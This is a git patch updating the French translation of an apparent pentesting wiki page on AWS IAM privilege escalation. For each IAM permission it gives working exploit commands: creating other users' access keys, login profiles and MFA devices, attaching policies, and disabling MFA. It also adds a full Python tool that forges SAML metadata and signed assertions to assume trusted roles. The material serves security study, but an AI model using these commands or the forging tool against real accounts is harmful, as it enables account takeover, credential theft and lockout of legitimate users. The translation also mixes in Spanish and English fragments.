From cce1e0ead444c10c2186331460500f015f41e9c3 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 14 Feb 2026 17:02:24 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-iam-privesc/README.md | 360 +++++++++++++++--- 1 file changed, 316 insertions(+), 44 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 1358d6b87..0881b8909 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,7 +12,7 @@ Pour plus d'informations sur IAM, consultez : ### **`iam:CreatePolicyVersion`** -Accorde la capacité de créer une nouvelle version d'une IAM policy, en contournant la nécessité de la permission `iam:SetDefaultPolicyVersion` grâce au flag `--set-as-default`. Cela permet de définir des permissions personnalisées. +Accorde la possibilité de créer une nouvelle version d'une IAM policy, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées. **Commande d'exploitation :** ```bash @@ -23,31 +23,31 @@ aws iam create-policy-version --policy-arn \ ### **`iam:SetDefaultPolicyVersion`** -Permet de changer la version par défaut d'une politique IAM pour une autre version existante, ce qui peut escalader les privilèges si la nouvelle version possède davantage d'autorisations. +Permet de changer la version par défaut d'une politique IAM vers une autre version existante, ce qui peut entraîner une élévation des privilèges si la nouvelle version contient davantage d'autorisations. **Commande Bash :** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impact:** Escalade de privilèges indirecte en permettant davantage de permissions. +**Impact:** Indirect privilege escalation en permettant davantage d'autorisations. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Permet de créer un access key ID et un secret access key pour un autre utilisateur, conduisant à une possible escalade de privilèges. +Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut conduire à une privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact :** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur. +**Impact:** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur. -Notez qu'un utilisateur ne peut avoir que 2 clés d'accès créées, donc si un utilisateur a déjà 2 clés d'accès, vous aurez besoin de la permission `iam:DeleteAccessKey` pour en supprimer une afin de pouvoir en créer une nouvelle : +Notez qu'un utilisateur ne peut avoir que 2 access keys créées, donc si un utilisateur a déjà 2 access keys vous aurez besoin de la permission `iam:DeleteAccessKey` pour supprimer l'une d'elles afin de pouvoir en créer une nouvelle : ```bash aws iam delete-access-key --uaccess-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -Si vous pouvez créer un nouvel appareil MFA virtuel et l'activer sur un autre utilisateur, vous pouvez effectivement inscrire votre propre MFA pour cet utilisateur, puis demander une session validée par MFA pour ses identifiants. +Si vous pouvez créer un nouvel appareil MFA virtuel et l'activer sur un autre utilisateur, vous pouvez effectivement inscrire votre propre MFA pour cet utilisateur, puis demander une session protégée par MFA avec ses identifiants. **Exploit:** ```bash @@ -58,53 +58,79 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact :** Escalade de privilèges directe en prenant le contrôle de l'inscription MFA d'un utilisateur (puis en utilisant ses permissions). +**Impact :** Escalade de privilèges directe en prenant le contrôle de l'inscription MFA d'un utilisateur (puis en utilisant ses autorisations). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permet de créer ou de mettre à jour un profil de connexion, y compris de définir des mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe. +Permet de créer ou de mettre à jour un profil de connexion, y compris définir des mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe. -**Exploit pour la création :** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit pour Update:** +**Exploit pour la mise à jour :** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact:** Escalade directe de privilèges en se connectant en tant que "n'importe quel" utilisateur. +**Impact :** Élévation de privilèges directe en se connectant en tant qu'utilisateur "any". ### **`iam:UpdateAccessKey`** -Permet d'activer une access key désactivée, pouvant mener à un accès non autorisé si l'attaquant possède la clé désactivée. +Permet d'activer une access key désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède cette access key désactivée. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impact:** Escalade directe de privilèges en réactivant des clés d'accès. +**Impact:** Elévation de privilèges directe en réactivant des access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Permet de générer ou de réinitialiser des identifiants pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé. +Permet de générer ou réinitialiser des credentials pour des services AWS spécifiques (le plus souvent **CodeCommit**). Ce ne sont **pas** des AWS API keys : ce sont des credentials **username/password** pour un service spécifique, et vous ne pouvez les utiliser que là où ce service les accepte. -**Exploit for Creation:** +**Création :** ```bash -aws iam create-service-specific-credential --user-name --service-name +aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -**Exploit pour réinitialisation :** +Enregistrer : + +- `ServiceSpecificCredential.ServiceUserName` +- `ServiceSpecificCredential.ServicePassword` + +**Exemple :** +```bash +# Find a repository you can access as the target +aws codecommit list-repositories + +export REPO_NAME="" +export AWS_REGION="us-east-1" # adjust if needed + +# Git URL (HTTPS) +export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}" + +# Clone and use the ServiceUserName/ServicePassword when prompted +git clone "$CLONE_URL" +cd "$REPO_NAME" +``` +> Note : Le mot de passe du service contient souvent des caractères comme `+`, `/` et `=`. L'utilisation de l'invite interactive est généralement la plus simple. Si vous l'intégrez dans une URL, URL-encodez-le d'abord. + +À ce stade, vous pouvez lire tout ce à quoi l'utilisateur cible a accès dans CodeCommit (par ex., un fichier de credentials leaked). Si vous récupérez des **AWS access keys** depuis le repo, configurez un nouveau profil AWS CLI avec ces clés, puis accédez aux ressources (par exemple, lire un flag depuis Secrets Manager) : +```bash +aws secretsmanager get-secret-value --secret-id --profile +``` +**Réinitialiser:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact:** Escalade directe de privilèges au sein des permissions de service de l'utilisateur. +**Impact:** Privilege escalation dans les permissions de l'utilisateur cible pour le service donné (et potentiellement au-delà si vous effectuez un pivot en utilisant des données récupérées depuis ce service). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Permet d'attacher des policies aux users ou groups, escaladant directement les privilèges en héritant des permissions de la policy attachée. +Permet d'attacher des policies à des utilisateurs ou groupes, escalating privileges directement en héritant des permissions de la policy attachée. -**Exploit pour l'utilisateur :** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` @@ -112,13 +138,13 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impact:** Escalade de privilèges directe vers tout ce que la politique accorde. +**Impact :** Escalade directe de privilèges vers tout ce que la politique autorise. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permet d'attacher ou d'ajouter des politiques aux rôles, utilisateurs ou groupes, permettant une escalade directe des privilèges en accordant des autorisations supplémentaires. +Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, permettant une escalade directe de privilèges en accordant des autorisations supplémentaires. -**Exploit pour le rôle :** +**Exploitation pour le rôle :** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -146,28 +172,28 @@ Vous pouvez utiliser une policy comme : ] } ``` -**Impact :** Escalade directe de privilèges en ajoutant des autorisations via des policies. +**Impact :** Escalade directe de privilèges en ajoutant des autorisations via des politiques. ### **`iam:AddUserToGroup`** -Permet de s'ajouter à un groupe IAM, entraînant une escalade des privilèges en héritant des autorisations du groupe. +Permet de s'ajouter à un groupe IAM, augmentant les privilèges en héritant des autorisations du groupe. -**Exploit:** +**Exploit :** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact :** Escalade de privilèges directe au niveau des permissions du groupe. +**Impact:** Escalade directe des privilèges au niveau des autorisations du groupe. ### **`iam:UpdateAssumeRolePolicy`** -Permet de modifier le document de stratégie d'assume role d'un rôle, permettant d'assumer ce rôle et d'obtenir ses permissions associées. +Permet de modifier le document de stratégie d'AssumeRole d'un rôle, permettant d'assumer ce rôle et d'obtenir ses autorisations associées. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle : +Lorsque la policy ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle : ```json { "Version": "2012-10-17", @@ -186,34 +212,34 @@ Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'a ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permet de téléverser une clé publique SSH pour l'authentification à CodeCommit et de désactiver des dispositifs MFA, conduisant à une escalade de privilèges indirecte potentielle. +Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des dispositifs MFA, entraînant une possible escalade de privilèges indirecte. -**Exploit pour le téléversement de clé SSH :** +**Exploit pour le téléversement de la clé SSH :** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit pour la désactivation de la MFA:** +**Exploit pour la désactivation du MFA :** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impact :** Escalade de privilèges indirecte en activant l'accès CodeCommit ou en désactivant la protection MFA. +**Impact:** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA. ### **`iam:ResyncMFADevice`** -Permet la resynchronisation d'un dispositif MFA, pouvant entraîner une escalade de privilèges indirecte en manipulant la protection MFA. +Permet la resynchronisation d'un appareil MFA, ce qui peut conduire à une escalade de privilèges indirecte en manipulant la protection MFA. -**Commande Bash :** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des appareils MFA. +**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des MFA devices. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **login** avec n'importe quel **role qui lui fait confiance**. +Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **SAML federation** pour **login** avec n'importe quel **role qui lui fait confiance**. -Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas login**. Cependant, vous pouvez obtenir le XML, le remplacer par le vôtre, login et reconfigurer l'accès précédent. +Notez qu'en faisant cela **legit users won't be able to login**. Cependant, vous pourriez obtenir le XML ; vous pouvez donc mettre le vôtre, login et restaurer la configuration précédente. ```bash # List SAMLs aws iam list-saml-providers @@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -> [!NOTE] -> TODO : Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié +**Attaque de bout en bout :** + +1. Énumérer le SAML provider et un role qui lui fait confiance : +```bash +export AWS_REGION=${AWS_REGION:-us-east-1} + +aws iam list-saml-providers +export PROVIDER_ARN="arn:aws:iam:::saml-provider/" + +# Backup current metadata so you can restore it later: +aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json + +# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML: +aws iam list-roles | grep -i saml || true +aws iam get-role --role-name "" +export ROLE_ARN="arn:aws:iam:::role/" +``` +2. Forger les métadonnées IdP + une assertion SAML signée pour la paire rôle/fournisseur : +```bash +python3 -m venv /tmp/saml-federation-venv +source /tmp/saml-federation-venv/bin/activate +pip install lxml signxml + +# Create /tmp/saml_forge.py from the expandable below first: +python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json +python3 - <<'PY' +import json +j=json.load(open("/tmp/saml-forge.json","r")) +open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"]) +open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"]) +print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") +PY +``` +
+Déroulable : /tmp/saml_forge.py outil (métadonnées + assertion signée) +```python +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import base64 +import datetime as dt +import json +import os +import subprocess +import tempfile +import uuid + +from lxml import etree +from signxml import XMLSigner, methods + + +def _run(cmd: list[str]) -> str: +p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) +return p.stdout + + +def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: +key_path = os.path.join(tmpdir, "key.pem") +cert_path = os.path.join(tmpdir, "cert.pem") +_run( +[ +"openssl", +"req", +"-x509", +"-newkey", +"rsa:2048", +"-keyout", +key_path, +"-out", +cert_path, +"-days", +"3650", +"-nodes", +"-subj", +"/CN=attacker-idp", +] +) +return key_path, cert_path + + +def _pem_cert_to_b64(cert_pem: str) -> str: +lines: list[str] = [] +for line in cert_pem.splitlines(): +if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: +continue +line = line.strip() +if line: +lines.append(line) +return "".join(lines) + + +def make_metadata_xml(cert_b64: str) -> str: +return f""" + + + + + +{cert_b64} + + + + + + +""" + + +def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: +ns = { +"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol", +"saml2": "urn:oasis:names:tc:SAML:2.0:assertion", +} + +issue_instant = dt.datetime.now(dt.timezone.utc) +not_before = issue_instant - dt.timedelta(minutes=2) +not_on_or_after = issue_instant + dt.timedelta(minutes=10) + +resp_id = "_" + str(uuid.uuid4()) +assertion_id = "_" + str(uuid.uuid4()) + +response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns) +response.set("ID", resp_id) +response.set("Version", "2.0") +response.set("IssueInstant", issue_instant.isoformat()) +response.set("Destination", "https://signin.aws.amazon.com/saml") + +issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) +issuer.text = "https://attacker.invalid/idp" + +status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) +status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) +status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success") + +assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion")) +assertion.set("ID", assertion_id) +assertion.set("Version", "2.0") +assertion.set("IssueInstant", issue_instant.isoformat()) + +a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) +a_issuer.text = "https://attacker.invalid/idp" + +subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) +name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) +name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") +name_id.text = "attacker" + +subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation")) +subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") +subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData")) +subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat()) +subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml") + +conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions")) +conditions.set("NotBefore", not_before.isoformat()) +conditions.set("NotOnOrAfter", not_on_or_after.isoformat()) + +audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction")) +audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) +audience.text = "https://signin.aws.amazon.com/saml" + +attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + +attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") +attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) +attr_role_value.text = f"{role_arn},{principal_arn}" + +attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") +attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) +attr_session_value.text = "saml-session" + +key_bytes = open(key_pem, "rb").read() +cert_bytes = open(cert_pem, "rb").read() + +signer = XMLSigner( +method=methods.enveloped, +signature_algorithm="rsa-sha256", +digest_algorithm="sha256", +c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", +) +signed_assertion = signer.sign( +assertion, +key=key_bytes, +cert=cert_bytes, +reference_uri=f"#{assertion_id}", +id_attribute="ID", +) + +response.remove(assertion) +response.append(signed_assertion) + +return etree.tostring(response, xml_declaration=True, encoding="utf-8") + + +def main() -> None: +ap = argparse.ArgumentParser() +ap.add_argument("--role-arn", required=True) +ap.add_argument("--principal-arn", required=True) +args = ap.parse_args() + +with tempfile.TemporaryDirectory() as tmp: +key_path, cert_path = _openssl_make_key_and_cert(tmp) +cert_pem = open(cert_path, "r", encoding="utf-8").read() +cert_b64 = _pem_cert_to_b64(cert_pem) + +metadata_xml = make_metadata_xml(cert_b64) +saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) +saml_b64 = base64.b64encode(saml_xml).decode("ascii") + +print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64})) + + +if __name__ == "__main__": +main() +``` +
+ +3. Mettez à jour les métadonnées du fournisseur SAML avec le certificat de votre IdP, assumez le rôle et utilisez les identifiants STS retournés : +```bash +aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ +--saml-metadata-document file:///tmp/saml-metadata.xml + +# Assertion is base64 and can be long. Keep it on one line: +ASSERTION_B64=$(tr -d '\n' [!WARNING] +> Mettre à jour les métadonnées du fournisseur SAML est perturbateur : tant que vos métadonnées sont en place, les utilisateurs SSO légitimes pourraient ne pas pouvoir s'authentifier. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Incertain à ce sujet) Si un attaquant possède ces **permissions**, il pourrait ajouter un nouveau **Thumbprint** pour parvenir à se connecter à tous les rôles faisant confiance au provider. +(Non confirmé) Si un attaquant possède ces **autorisations**, il pourrait ajouter un nouveau **Thumbprint** pour parvenir à se connecter à tous les rôles faisant confiance au fournisseur. ```bash # List providers aws iam list-open-id-connect-providers @@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Cette permission permet à un attaquant de mettre à jour le permissions boundary d’un utilisateur, ce qui peut entraîner une élévation de privilèges en lui permettant d’exécuter des actions normalement restreintes par ses permissions existantes. +Cette permission permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, augmentant potentiellement ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses autorisations existantes. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite d'autorisations sur un rôle existant. Le risque survient lorsqu'une personne ayant cette permission modifie la limite d'un rôle : elle peut restreindre de manière inappropriée des opérations (provoquant une interruption de service) ou, si elle associe une limite permissive, augmenter effectivement ce que le rôle peut faire et élever ses privilèges. +Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions sur un rôle existant. Le risque survient lorsqu'une personne ayant cette permission modifie la limite d'un rôle : elle peut restreindre de manière inappropriée des opérations (provoquant une interruption de service) ou, si elle attache une limite de permissions permissive, étendre effectivement ce que le rôle peut faire et élever les privilèges. ```bash aws iam put-role-permissions-boundary \ --role-name \